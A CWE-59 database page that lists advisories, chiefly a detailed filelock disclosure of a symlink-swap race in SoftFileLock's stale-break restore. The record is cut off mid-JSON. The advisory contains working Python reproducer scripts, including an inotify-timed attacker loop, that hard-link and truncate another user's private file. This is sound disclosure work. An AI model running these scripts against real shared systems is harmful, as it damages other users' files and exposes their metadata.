Common Weakness Enumeration

CWE-59

Weakness Allowed

Improper Link Resolution Before File Access

Abstraction: Base · Status: Draft

The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.

Mapping guidance

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

Relationships and members
ChildOf: CWE-706 · View CWE-1000
ChildOf: CWE-706 · View CWE-1003
Modes of introduction
Implementation

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Detection methods

Automated Static Analysis - Binary or Bytecode

According to SOAR [REF-1479], the following detection techniques may be useful:

Cost effective for partial coverage:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR [REF-1479], the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR [REF-1479], the following detection techniques may be useful:

Cost effective for partial coverage:

Web Application Scanner

Web Services Scanner

Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR [REF-1479], the following detection techniques may be useful:

Cost effective for partial coverage:

Fuzz Tester

Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR [REF-1479], the following detection techniques may be useful:

Highly cost effective:

Focused Manual Spotcheck - Focused manual analysis of source

Manual Source Code Review (not inspections)

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR [REF-1479], the following detection techniques may be useful:

Cost effective for partial coverage:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR [REF-1479], the following detection techniques may be useful:

Highly cost effective:

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

Notes

Theoretical

Link following vulnerabilities are Multi-factor Vulnerabilities (MFV). They are the combination of multiple elements: file or directory permissions, filename predictability, race conditions, and in some cases, a design limitation in which there is no mechanism for performing atomic file creation operations.

Some potential factors are race conditions, permissions, and predictability.

Content history
Submission: PLOVER · 2006-07-19 · CWE Draft 3
Modification: Eric Dalci · Cigital · 2008-07-01 · CWE 1.0

updated Time_of_Introduction

Modification: CWE Content Team · MITRE · 2008-09-08 · CWE 1.0

updated Alternate_Terms, Applicable_Platforms, Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings, Weakness_Ordinalities

Modification: CWE Content Team · MITRE · 2008-11-24 · CWE 1.1

updated Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2009-01-12 · CWE 1.2

updated Relationships

Modification: CWE Content Team · MITRE · 2009-05-27 · CWE 1.4

updated Description, Name

Modification: CWE Content Team · MITRE · 2009-10-29 · CWE 1.6

updated Background_Details, Other_Notes

Modification: CWE Content Team · MITRE · 2010-02-16 · CWE 1.8

updated Potential_Mitigations, Relationships

Modification: CWE Content Team · MITRE · 2010-04-05 · CWE 1.8.1

updated Related_Attack_Patterns

Modification: CWE Content Team · MITRE · 2011-06-01 · CWE 1.13

updated Common_Consequences

Modification: CWE Content Team · MITRE · 2011-09-13 · CWE 2.1

updated Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2012-05-11 · CWE 2.2

updated Common_Consequences, Observed_Examples, References, Relationships

Modification: CWE Content Team · MITRE · 2012-10-30 · CWE 2.3

updated Potential_Mitigations

Modification: CWE Content Team · MITRE · 2014-06-23 · CWE 2.7

updated Common_Consequences, Other_Notes

Modification: CWE Content Team · MITRE · 2014-07-30 · CWE 2.8

updated Detection_Factors, Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2015-12-07 · CWE 2.9

updated Relationships

Modification: CWE Content Team · MITRE · 2017-11-08 · CWE 3.0

updated Affected_Resources, Applicable_Platforms, Causal_Nature, Common_Consequences, Functional_Areas, Likelihood_of_Exploit, Modes_of_Introduction, Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2019-01-03 · CWE 3.2

updated Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2019-06-20 · CWE 3.3

updated Relationships

Modification: CWE Content Team · MITRE · 2020-02-24 · CWE 4.0

updated Relationships

Modification: CWE Content Team · MITRE · 2021-03-15 · CWE 4.4

updated Relationships

Modification: CWE Content Team · MITRE · 2021-10-28 · CWE 4.6

updated Relationships

Modification: CWE Content Team · MITRE · 2022-04-28 · CWE 4.7

updated Research_Gaps

Modification: CWE Content Team · MITRE · 2022-06-28 · CWE 4.8

updated Relationships

Modification: CWE Content Team · MITRE · 2022-10-13 · CWE 4.9

updated Alternate_Terms, Background_Details, Observed_Examples, References, Relationship_Notes, Theoretical_Notes

Modification: CWE Content Team · MITRE · 2023-01-31 · CWE 4.10

updated Description

Modification: CWE Content Team · MITRE · 2023-04-27 · CWE 4.11

updated Relationships

Modification: CWE Content Team · MITRE · 2023-06-29 · CWE 4.12

updated Mapping_Notes

Modification: CWE Content Team · MITRE · 2025-09-09 · CWE 4.18

updated Detection_Factors, References

Modification: CWE Content Team · MITRE · 2025-12-11 · CWE 4.19

updated Applicable_Platforms, Relationships

Modification: CWE Content Team · MITRE · 2026-10-28 · CWE 5.0

updated Alternate_Terms, Name, Observed_Examples

2742 vulnerabilities reference this CWE, most recent first.

GHSA-CR38-7WWG-698R

Vulnerability from github – Published: 2023-07-11 18:31 – Updated: 2025-02-28 21:32
VLAI
Details

Microsoft Office Elevation of Privilege Vulnerability

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-33148"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-07-11T18:15:14Z",
    "severity": "HIGH"
  },
  "details": "Microsoft Office Elevation of Privilege Vulnerability",
  "id": "GHSA-cr38-7wwg-698r",
  "modified": "2025-02-28T21:32:03Z",
  "published": "2023-07-11T18:31:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-33148"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-33148"
    },
    {
      "type": "WEB",
      "url": "https://packetstorm.news/files/id/173591"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/173591/Microsoft-Office-365-18.2305.1222.0-Remote-Code-Execution.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CR45-X768-75RF

Vulnerability from github – Published: 2026-02-10 00:30 – Updated: 2026-02-10 00:30
VLAI
Details

Tanium addressed an arbitrary file deletion vulnerability in Tanium EUSS.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-15313"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-10T00:16:05Z",
    "severity": "MODERATE"
  },
  "details": "Tanium addressed an arbitrary file deletion vulnerability in Tanium EUSS.",
  "id": "GHSA-cr45-x768-75rf",
  "modified": "2026-02-10T00:30:31Z",
  "published": "2026-02-10T00:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-15313"
    },
    {
      "type": "WEB",
      "url": "https://security.tanium.com/TAN-2025-010"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CRV4-6MHJ-J5JH

Vulnerability from github – Published: 2026-10-23 22:00 – Updated: 2026-10-23 22:00
VLAI
Summary
filelock: SoftFileLock stale-break restore follows a swapped-in symbolic link and hard-links a file of the user running the lock into the lock directory
Details

When a soft-lock stale break finds that the marker (the lock file at <path>) it renamed aside was a live one recreated by a successor, the restore branch of break_lock_file() checks the break name with lstat (a check that reads a name without following a symbolic link) and then calls os.link(break_path, lock_file) by name. On CPython 3.12 and later on Linux (and on macOS) that call follows a symbolic link (a file that redirects to another path). A local user (the other user below) who can write a shared lock directory without the sticky bit (a directory flag that lets only a file's owner rename or remove it) replaces the break name with a symbolic link between those two calls.

The SoftFileLock, MarkerSoftFileLock, SoftFileLease or lifetime break of the user running the lock (the lock user below) then creates a hard link (a second name for the same file), in that directory, to any of the lock user's own files on the same filesystem. That includes files inside directories the other user cannot enter and links that fs.protected_hardlinks (a Linux setting that forbids hard links to files one does not own) refuses the other user when it asks itself. The link exposes the file's size, times, mode and owner, keeps the inode (the kernel's identity for a file, independent of its name) alive, and gives the other user a name it can move. On 4.2.0 a later FileLock of the lock user on that name truncated the file. Affected versions: filelock >= 4.1.0 and <= 4.2.0 (finding ANT-2026-SB29HIAL).

Severity

CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:N, 5.3 (Medium).

AV:L (local): the other user needs an account on the same host. AC:H (high attack complexity): two short races against a few lines of Python, timed by inotify (a Linux facility that reports file events), and the lock user must take the lock again and again (the scanner won 10 runs out of 10 after 9 to 910 lock cycles). PR:L (low privileges): an unprivileged account is enough. UI:N (no user interaction): the lock user's process acts on its own. C:L (low confidentiality impact): the file's metadata through the new name, not its content. I:H (high integrity impact): the other user chooses the file, and whatever the lock user later does to names in that directory lands on it. On 4.2.0 the lock user's own FileLock truncated the 17-byte private file to 0 bytes and, with a permissive mode, would have changed its mode too. A:N (no availability impact): the lock keeps working.

Classification from the review: security, conditional on a shared parent without the sticky bit, which crosses the protected-directory boundary. The scanner rated it high (CWE-363). This is an earlier-public-context finding. #786 added the restore branch and guarded a symbolic link already present when lstat runs, not one swapped in after it.

Scope and preconditions

  • The other user can write the lock directory, and it has no sticky bit: a 0777 or group-writable cache or project directory. In a root-owned 1777 directory the unprivileged lock user cannot rename the other user's marker and only waits. In a 1777 directory the lock user owns, fs.protected_symlinks=1 (a Linux setting that refuses to follow another user's symbolic link in a world-writable sticky directory) makes the link fail with EACCES (permission denied). Testing showed no effect in sticky directories.
  • The interpreter's os.link follows symbolic links. CPython 3.14 on Linux issues linkat(..., AT_SYMLINK_FOLLOW). CPython 3.11 issues link(2), which links the symbolic link itself, and is not affected. The scanner did not test 3.12 and 3.13. On macOS link(2) follows (confirmed in our review on macOS 27.0.1: a plain os.link of a symbolic link gave the target st_nlink 2, that is two names).
  • The target file and the lock directory are on the same filesystem (hard links cannot cross filesystems), and the lock user takes the lock more than once.
  • Every soft-lock path reaches the branch: SoftFileLock, MarkerSoftFileLock, SoftFileLease and the lifetime break. The native FileLock does not, but it is the consumer that turns the planted link into a truncation.

filelock's checks against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it, which no file-based lock can defend against. This finding is about what the lock itself adds inside such a directory, a hard link the other user cannot make on its own.

Affected code

At the scanned commit b831496, the restore branch of break_lock_file runs for SoftFileLock._try_break_stale_lock, MarkerSoftFileLock, SoftFileLease and the lifetime break. The truncation in UnixFileLock._finalize_locked_fd is what a later native lock on the planted name did to the file (reported in its own advisory).

Introduced

fc73fc51e137 ("fix(soft): restore a live marker a stale break moved aside", #786, 2026-10-08), first released in 4.1.0 (verified against the tags). Releases before 4.1.0 have no restore branch, so this does not affect them.

Mechanism

# src/filelock/_util.py:115-122
break_path: Final[str] = f"{lock_file}.break.{os.getpid()}.{secrets.token_hex(16)}"
Path(lock_file).rename(break_path)
if (st_after := os.lstat(break_path)).st_mtime <= mtime_before and st_after.st_ino == ino_before:
    Path(break_path).unlink()
elif stat.S_ISREG(st_after.st_mode) and _HAS_LINK:  # pragma: needs hard-link
    with suppress(FileExistsError):
        os.link(break_path, lock_file)
        Path(break_path).unlink()

The S_ISREG test (is it a regular file) is about what lstat saw on line 117, not about what link resolves on line 121. The docstring says the code must not put a symbolic link back "because link would follow a symlink to its target", and the test at the scanned commit names the consequence ("publish the victim file's inode at the lock path"), but that test only covers a symbolic link that is already there when lstat runs. The 128-bit token stops others from guessing the break name, not from reading it. The name is in the directory listing from the moment the rename has happened. The package's other links pass follow_symlinks=False where the runtime honours it; this one does not. An strace (a tool that logs a process's system calls) on CPython 3.14.8 shows os.link(a, b) as linkat(AT_FDCWD, a, AT_FDCWD, b, AT_SYMLINK_FOLLOW).

The other user plays both the stale holder and the "successor" the branch exists for:

  1. The other user leaves a genuine marker of a dead process at the lock path (a forked child takes the lock and _exits). The lock user's _try_break_stale_lock() reads it and owner_is_stale() agrees, so break_lock_file() renames it to app.lock.break.<pid>.<token>. In a directory without the sticky bit the lock user may rename a file it does not own.
  2. The other user still owns that file and gives it a newer mtime (modification time) after the lstat on line 113. Line 117 then takes it for a recreated marker, and line 119 sees a regular file.
  3. The other user renames a symbolic link to the lock user's private file over the break name.
  4. Line 121 resolves the link with the lock user's credentials, so app.lock becomes a second hard link to the private file. Line 122 removes the symbolic link.

The other user's own os.link() on the private file fails with EACCES (it cannot enter the 0700 directory). On a file of the lock user it can reach, fs.protected_hardlinks=1 answers EPERM (operation not permitted). The lock user would evict the odd "marker" after MALFORMED_LOCK_AGE_THRESHOLD (2 s), so the other user moves it to another name first, which the non-sticky directory allows. Both steps are races against a few lines of Python. There are about 40 µs between the lstat on line 113 and the one on line 117 (half of it the rename), and about 2 µs between line 117 and the os.link() call. inotify tells the other user when to act. A watch reports the lock user closing the marker after reading it, then the rename together with the break name. A bump that comes before line 113 costs nothing, since line 113 returns and the lock user looks again on its next poll.

Reproduction

The scanner's reproducer for finding ANT-2026-SB29HIAL, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The repro script drives the files under repro.d/.

repro

#!/usr/bin/env python3
import os
import shutil
import subprocess
import sys

sys.stdout.reconfigure(line_buffering=True)

SHARED_DIR = "/tmp/shared-locks"
LOCK_PATH = SHARED_DIR + "/app.lock"
PRIVATE_DIR = "/home/victim/private"
KEY_PATH = PRIVATE_DIR + "/signing.key"
AS_VICTIM = {"user": "victim", "group": "victim", "extra_groups": []}
AS_ATTACKER = {"user": "attacker", "group": "attacker", "extra_groups": []}
# strace alters no call. On calls that name the lock path it holds the victim 2 s after rename() and 2 s before
# linkat(), that is on both sides of the lstat of the break name in break_lock_file() (src/filelock/_util.py:117).
SLOWED_DOWN = ["strace", "-o", "/dev/null", "-P", LOCK_PATH, "-e", "trace=rename,linkat"]
SLOWED_DOWN += ["-e", "inject=rename:delay_exit=2000000", "-e", "inject=linkat:delay_enter=2000000"]

# set up: the victim's key in a 0700 directory, and a lock directory anyone can write, without the sticky bit
shutil.rmtree(PRIVATE_DIR, ignore_errors=True)
os.mkdir(PRIVATE_DIR, 0o700)
with open(KEY_PATH, "w") as key_file:
    key_file.write("0123456789abcdef\n")
os.chmod(KEY_PATH, 0o600)
shutil.chown(PRIVATE_DIR, "victim", "victim")
shutil.chown(KEY_PATH, "victim", "victim")
shutil.rmtree(SHARED_DIR, ignore_errors=True)
os.mkdir(SHARED_DIR)
os.chmod(SHARED_DIR, 0o777)
key_before = os.stat(KEY_PATH)
print(f"{KEY_PATH}: links={key_before.st_nlink} size={key_before.st_size}")
for knob in ("protected_hardlinks", "protected_symlinks"):
    print(f"fs.{knob} =", open(f"/proc/sys/fs/{knob}").read().strip())

# control: the attacker cannot give the key a name in the shared directory by itself
link_by_attacker = f"import os; os.link({KEY_PATH!r}, {SHARED_DIR + '/by-attacker'!r})"
control = subprocess.run([sys.executable, "-c", link_by_attacker], capture_output=True, text=True, **AS_ATTACKER)
print("CONTROL the attacker's own link() of the key:", control.stderr.strip().splitlines()[-1])

# attack: the victim takes an ordinary SoftFileLock while the attacker works on the break name
subprocess.run([sys.executable, "/tmp/repro.d/plant_stale_marker.py", LOCK_PATH], check=True, **AS_ATTACKER)
attacker = subprocess.Popen([sys.executable, "/tmp/repro.d/swap_break_name.py", LOCK_PATH, KEY_PATH], **AS_ATTACKER)
victim_job = [*SLOWED_DOWN, sys.executable, "/tmp/repro.d/victim_job.py", LOCK_PATH]
subprocess.run(victim_job, check=True, timeout=60, **AS_VICTIM)
assert attacker.wait(timeout=30) == 0, "the attacker did not get through its steps"

# check, as root: does the key now have a name in the shared directory?
key_after = os.stat(KEY_PATH)
names_of_the_key = [
    name for name in os.listdir(SHARED_DIR) if os.path.samestat(key_after, os.lstat(f"{SHARED_DIR}/{name}"))
]
print(f"OBSERVED {KEY_PATH}: links={key_after.st_nlink}, names in {SHARED_DIR} with its inode: {names_of_the_key}")

if names_of_the_key:
    # what that name is good for: another program of the victim takes a FileLock there, which truncates the file
    shared_name = f"{SHARED_DIR}/{names_of_the_key[0]}"
    victim_other_job = [sys.executable, "/tmp/repro.d/victim_other_job.py", shared_name]
    subprocess.run(victim_other_job, check=True, timeout=60, **AS_VICTIM)
    print(f"OBSERVED {KEY_PATH}: size={os.stat(KEY_PATH).st_size} after the victim's FileLock({shared_name!r})")

print("BUG" if control.returncode != 0 and names_of_the_key else "OK")

repro.d/plant_stale_marker.py

import os
import sys

from filelock import SoftFileLock

# a genuine marker of a holder that died: a child takes the lock and exits without releasing it
if (child := os.fork()) == 0:
    holder = SoftFileLock(sys.argv[1])  # kept referenced: a collected lock releases itself
    holder.acquire()
    os._exit(0)
os.waitpid(child, 0)
print("attacker: left", sys.argv[1], "held by pid", child, "which has exited", flush=True)

repro.d/swap_break_name.py

import glob
import os
import sys
import time

lock_path, key_path = sys.argv[1:]
kept_path = os.path.join(os.path.dirname(lock_path), "other.lock")

# the victim judged the marker stale and renamed it to <lock>.break.<pid>.<random>; anyone can list the directory
deadline = time.monotonic() + 30
while not (break_paths := glob.glob(lock_path + ".break.*")):
    assert time.monotonic() < deadline, "the victim never moved the marker aside"
    time.sleep(0.01)
[break_path] = break_paths
print("attacker: the victim renamed the marker to", os.path.basename(break_path), flush=True)

# still the attacker's file: a newer mtime makes the victim take it for a marker a live holder recreated, and restore it
os.utime(break_path)

time.sleep(3)  # repro holds the victim 2 s before its lstat of the break name and 2 s more before its link
os.symlink(key_path, lock_path + ".symlink")
os.rename(lock_path + ".symlink", break_path)
print("attacker: replaced", os.path.basename(break_path), "with a symlink to", key_path, flush=True)

# the victim would evict what it linked at the lock path as a malformed marker after 2 s: keep it under another name
deadline = time.monotonic() + 5
while not os.path.lexists(lock_path) and time.monotonic() < deadline:
    time.sleep(0.01)
try:
    os.rename(lock_path, kept_path)
    print("attacker: renamed", os.path.basename(lock_path), "to", kept_path, flush=True)
except FileNotFoundError:
    print("attacker: the victim linked nothing at", os.path.basename(lock_path), flush=True)

repro.d/unpaused_attacker.py

#!/usr/bin/env python3
"""Optional, not run by repro: the two steps of swap_break_name.py, timed by inotify against a victim that nobody pauses."""
import ctypes
import os
import random
import struct
import sys
import time

from filelock import SoftFileLock

lock_path, victim_file, kept_name = sys.argv[1:]
os.chdir(os.path.dirname(lock_path))
lock_name = os.path.basename(lock_path).encode()
IN_NONBLOCK, IN_CLOSE_NOWRITE, IN_MOVED_TO = 0o4000, 0x10, 0x80


def spin(microseconds):
    until = time.perf_counter() + microseconds / 1e6
    while time.perf_counter() < until:
        pass


# The bytes of a genuine marker of a dead process.
if os.fork() == 0:
    crashed_holder = SoftFileLock(lock_path)
    crashed_holder.acquire()
    os._exit(0)
os.wait()
with open(lock_name, "rb") as marker_file:
    stale_marker = marker_file.read()
os.unlink(lock_name)

libc = ctypes.CDLL(None)
inotify = libc.inotify_init1(IN_NONBLOCK)
libc.inotify_add_watch(inotify, b".", IN_MOVED_TO)
marker_mtime = 1_000_000_000
lock_cycles = 0
while True:
    lock_cycles += 1
    os.symlink(victim_file, b"symlink")
    marker = os.open(b"staged", os.O_CREAT | os.O_EXCL | os.O_WRONLY, 0o644)
    os.write(marker, stale_marker)
    os.utime(marker, (marker_mtime, marker_mtime))
    marker_watch = libc.inotify_add_watch(inotify, b"staged", IN_CLOSE_NOWRITE)
    while True:  # plant it as soon as the victim has released the lock
        try:
            os.link(b"staged", lock_name)
            break
        except FileExistsError:
            pass
    os.unlink(b"staged")

    break_name = None
    while break_name is None:
        try:
            events = os.read(inotify, 4096)
        except BlockingIOError:
            continue
        while events and break_name is None:
            _, mask, _, name_length = struct.unpack_from("iIII", events)
            name = events[16 : 16 + name_length].rstrip(b"\0")
            events = events[16 + name_length :]
            if mask & IN_CLOSE_NOWRITE:
                # The victim has read the marker and is about to judge it stale and lstat it again. A bump that comes
                # before that lstat only makes the victim start over on its next poll.
                spin(random.uniform(40, 100))
                marker_mtime += 1
                os.utime(marker, (marker_mtime, marker_mtime))
            elif name.startswith(lock_name + b".break."):
                # The victim has renamed the marker and is about to lstat the break name and link it back.
                os.rename(b"symlink", name)
                break_name = name
    libc.inotify_rm_watch(inotify, marker_watch)
    os.close(marker)

    time.sleep(0.001)
    try:
        at_lock_path = os.lstat(lock_name)
        if at_lock_path.st_uid != os.getuid() and at_lock_path.st_nlink == 2:
            os.rename(lock_name, kept_name)
            print(f"after {lock_cycles} lock cycles the victim linked its file here as {kept_name!r}:", at_lock_path)
            break
    except FileNotFoundError:
        pass
    for leftover in (b"symlink", break_name):
        if os.path.lexists(leftover):
            os.unlink(leftover)
    try:
        os.read(inotify, 65536)
    except BlockingIOError:
        pass

repro.d/unpaused_victim.py

#!/usr/bin/env python3
"""Optional, not run by repro: a victim job that takes the SoftFileLock again and again, paused by nobody."""
import sys
import time

from filelock import SoftFileLock

lock = SoftFileLock(sys.argv[1])
while True:
    with lock:
        time.sleep(0.005)
    time.sleep(0.005)

repro.d/victim_job.py

import sys

from filelock import SoftFileLock

with SoftFileLock(sys.argv[1]):
    print("victim: holds", sys.argv[1], flush=True)

repro.d/victim_other_job.py

import sys

from filelock import FileLock

with FileLock(sys.argv[1]):
    print("victim: holds", sys.argv[1], flush=True)

Attack sequence

sequenceDiagram
    participant X as other local user (uid 1001)
    participant D as /tmp/shared-locks (0777, not sticky)
    participant V as SoftFileLock of the lock user (uid 1000)
    participant K as ~victim/private/signing.key (0600 in a 0700 dir)
    X->>D: child takes app.lock and _exit()s: dead-holder marker owned by X
    V->>D: read marker, owner_is_stale, lstat ok: rename app.lock to app.lock.break.*
    rect rgb(255, 214, 214)
        X->>D: inotify sees the rename: utime the break file (newer mtime)
        V->>D: lstat break name: mtime newer, S_ISREG: treat as a recreated live marker
        X->>D: rename a symbolic link to signing.key over the break name
        V->>K: os.link(break name, app.lock) follows the symbolic link: app.lock is a second name of the file
        X->>D: rename app.lock to other.lock before the 2 s eviction
        Note over V,K: the lock user's FileLock("other.lock") on 4.2.0 truncates the file to 0 bytes
    end

Evidence

The scanner's reproducer takes about 5 s and is deterministic. Root creates /home/victim/private (0700) with signing.key (17 bytes, 0600) and /tmp/shared-locks (0777, no sticky bit), with fs.protected_hardlinks = 1 and fs.protected_symlinks = 1. In the control step, the attacker account runs os.link(key, /tmp/shared-locks/by-attacker) and gets Permission denied. Then the attacker child leaves app.lock held by pid 253 which has exited. The victim account runs with SoftFileLock(path) under strace -P ... -e inject=rename:delay_exit=2000000 -e inject=linkat:delay_enter=2000000, which holds it 2 s after its rename() and 2 s before its linkat() without changing any call. The attacker account bumps the break file, swaps in the symbolic link, and renames app.lock to other.lock.

The result line reads signing.key: links=2, names in /tmp/shared-locks with its inode: ['other.lock'], and after the victim account's second program takes FileLock('/tmp/shared-locks/other.lock'), size=0. Verdict BUG. The unpaused variant (unpaused_victim.py looping on the lock, unpaused_attacker.py timing both steps with inotify) won 10 runs out of 10 on the 2-CPU image after 9 to 910 lock cycles (1 to 65 s); one run won after 128 cycles (8 s).

Our review: BUG on 4.2.0 (triage), OK on the head of #843. On macOS 27.0.1 (CPython 3.13.16) a plain os.link of a symbolic link follows it (target st_nlink 2) while follow_symlinks=False links the symbolic link itself, which confirms the report's macOS note.

Impact

A local user who can write a lock directory that has no sticky bit makes a user of a soft lock in that directory create a hard link there to one of that user's own files on the same filesystem, including files inside directories the other user cannot enter. The content stays unreadable, but the other user now reads size, times, mode and owner of the file through the new name, keeps the inode alive after the lock user deletes or rotates the file, and holds what fs.protected_hardlinks exists to deny, a name it can move around for someone else's file.

Whatever the lock user later does to names in that directory lands on the file, and filelock 4.2.0 was such a consumer itself. UnixFileLock._finalize_locked_fd() ran os.ftruncate(fd, 0) on whatever regular file O_NOFOLLOW let it open. The other user moved the link to other.lock, the lock user took FileLock("other.lock"), and the 17-byte private file became 0 bytes. The other user can also move the link into sticky /tmp on the same filesystem before the lock user locks it there, and a FileLock with a permissive mode such as 0o666 applied that mode to the private file too, after which the other user could write its content.

On its own, without such a second lock, the result is the link and the metadata above. The other user has to win two short races and needs the lock user to take the lock more than once. Not affected: sticky directories on the tested settings, CPython 3.11 on Linux, releases before 4.1.0.

Workarounds

Keep soft locks out of directories other users can write without the sticky bit; a 0700 directory of the lock's user, or a sticky directory, is not affected. On CPython 3.11 on Linux the swap has no effect. Do not take a native FileLock on a name another user controls.

Patched version

4.2.1.

Fix: https://github.com/tox-dev/filelock/pull/843

Credits

Reported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.

  • 2026-10-15 23:08 UTC: report received (finding ANT-2026-SB29HIAL, scanned commit b831496b0273; related earlier-public work: #786)
  • 2026-10-16 01:42 UTC: fix PR #843 opened
  • 2026-10-16 05:38 UTC: draft advisory created
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "filelock"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.1.0"
            },
            {
              "fixed": "4.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-112914"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-363",
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-23T22:00:11Z",
    "nvd_published_at": "2026-10-20T15:17:15Z",
    "severity": "MODERATE"
  },
  "details": "When a soft-lock stale break finds that the marker (the lock file at `\u003cpath\u003e`) it renamed aside was a live one recreated by a successor, the restore branch of `break_lock_file()` checks the break name with `lstat` (a check that reads a name without following a symbolic link) and then calls `os.link(break_path, lock_file)` by name. On CPython 3.12 and later on Linux (and on macOS) that call follows a symbolic link (a file that redirects to another path). A local user (the other user below) who can write a shared lock directory without the sticky bit (a directory flag that lets only a file\u0027s owner rename or remove it) replaces the break name with a symbolic link between those two calls.\n\nThe `SoftFileLock`, `MarkerSoftFileLock`, `SoftFileLease` or `lifetime` break of the user running the lock (the lock user below) then creates a hard link (a second name for the same file), in that directory, to any of the lock user\u0027s own files on the same filesystem. That includes files inside directories the other user cannot enter and links that `fs.protected_hardlinks` (a Linux setting that forbids hard links to files one does not own) refuses the other user when it asks itself. The link exposes the file\u0027s size, times, mode and owner, keeps the inode (the kernel\u0027s identity for a file, independent of its name) alive, and gives the other user a name it can move. On 4.2.0 a later `FileLock` of the lock user on that name truncated the file. Affected versions: filelock \u003e= 4.1.0 and \u003c= 4.2.0 (finding `ANT-2026-SB29HIAL`).\n\n## Severity\n\n**CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:N, 5.3 (Medium).**\n\n`AV:L` (local): the other user needs an account on the same host. `AC:H` (high attack complexity): two short races against a few lines of Python, timed by inotify (a Linux facility that reports file events), and the lock user must take the lock again and again (the scanner won 10 runs out of 10 after 9 to 910 lock cycles). `PR:L` (low privileges): an unprivileged account is enough. `UI:N` (no user interaction): the lock user\u0027s process acts on its own. `C:L` (low confidentiality impact): the file\u0027s metadata through the new name, not its content. `I:H` (high integrity impact): the other user chooses the file, and whatever the lock user later does to names in that directory lands on it. On 4.2.0 the lock user\u0027s own `FileLock` truncated the 17-byte private file to 0 bytes and, with a permissive `mode`, would have changed its mode too. `A:N` (no availability impact): the lock keeps working.\n\nClassification from the review: security, conditional on a shared parent without the sticky bit, which crosses the protected-directory boundary. The scanner rated it high (CWE-363). This is an earlier-public-context finding. #786 added the restore branch and guarded a symbolic link already present when `lstat` runs, not one swapped in after it.\n\n## Scope and preconditions\n\n- The other user can write the lock directory, and it has no sticky bit: a `0777` or group-writable cache or project directory. In a root-owned `1777` directory the unprivileged lock user cannot rename the other user\u0027s marker and only waits. In a `1777` directory the lock user owns, `fs.protected_symlinks=1` (a Linux setting that refuses to follow another user\u0027s symbolic link in a world-writable sticky directory) makes the `link` fail with `EACCES` (permission denied). Testing showed no effect in sticky directories.\n- The interpreter\u0027s `os.link` follows symbolic links. CPython 3.14 on Linux issues `linkat(..., AT_SYMLINK_FOLLOW)`. CPython 3.11 issues `link(2)`, which links the symbolic link itself, and is not affected. The scanner did not test 3.12 and 3.13. On macOS `link(2)` follows (confirmed in our review on macOS 27.0.1: a plain `os.link` of a symbolic link gave the target `st_nlink` 2, that is two names).\n- The target file and the lock directory are on the same filesystem (hard links cannot cross filesystems), and the lock user takes the lock more than once.\n- Every soft-lock path reaches the branch: `SoftFileLock`, `MarkerSoftFileLock`, `SoftFileLease` and the `lifetime` break. The native `FileLock` does not, but it is the consumer that turns the planted link into a truncation.\n\nfilelock\u0027s checks against another local user hold only when no other user can replace the lock\u0027s directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name 